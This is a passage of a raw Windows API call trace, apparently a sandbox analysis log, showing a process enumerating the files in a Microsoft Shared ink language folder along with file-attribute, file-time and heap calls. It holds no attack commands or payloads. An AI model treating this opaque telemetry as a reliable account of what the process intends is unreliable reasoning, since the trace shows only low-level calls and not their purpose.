ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0143.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.227] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.229] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e8d8 [0143.229] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e8d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e8d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e8d8) returned 1 [0143.229] NtClose (Handle=0x198) returned 0x0 [0143.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.229] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.232] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.233] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e190 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98e8f0 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e1b0 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98e9f8 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.233] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e1d0 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98eb00 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e1f0 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ec08 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e210 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ed10 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e230 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ee18 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.234] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.234] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e250 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ef20 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e270 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f028 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e290 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f130 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.235] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e2b0 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f238 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e2d0 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f340 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e2f0 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f448 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e310 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f550 [0143.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2c0) returned 0x9908d8 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0143.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.236] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e330 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f658 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e350 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f760 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e370 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f868 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e390 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98f970 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] FindNextFileW (in: hFindFile=0x829bf8, 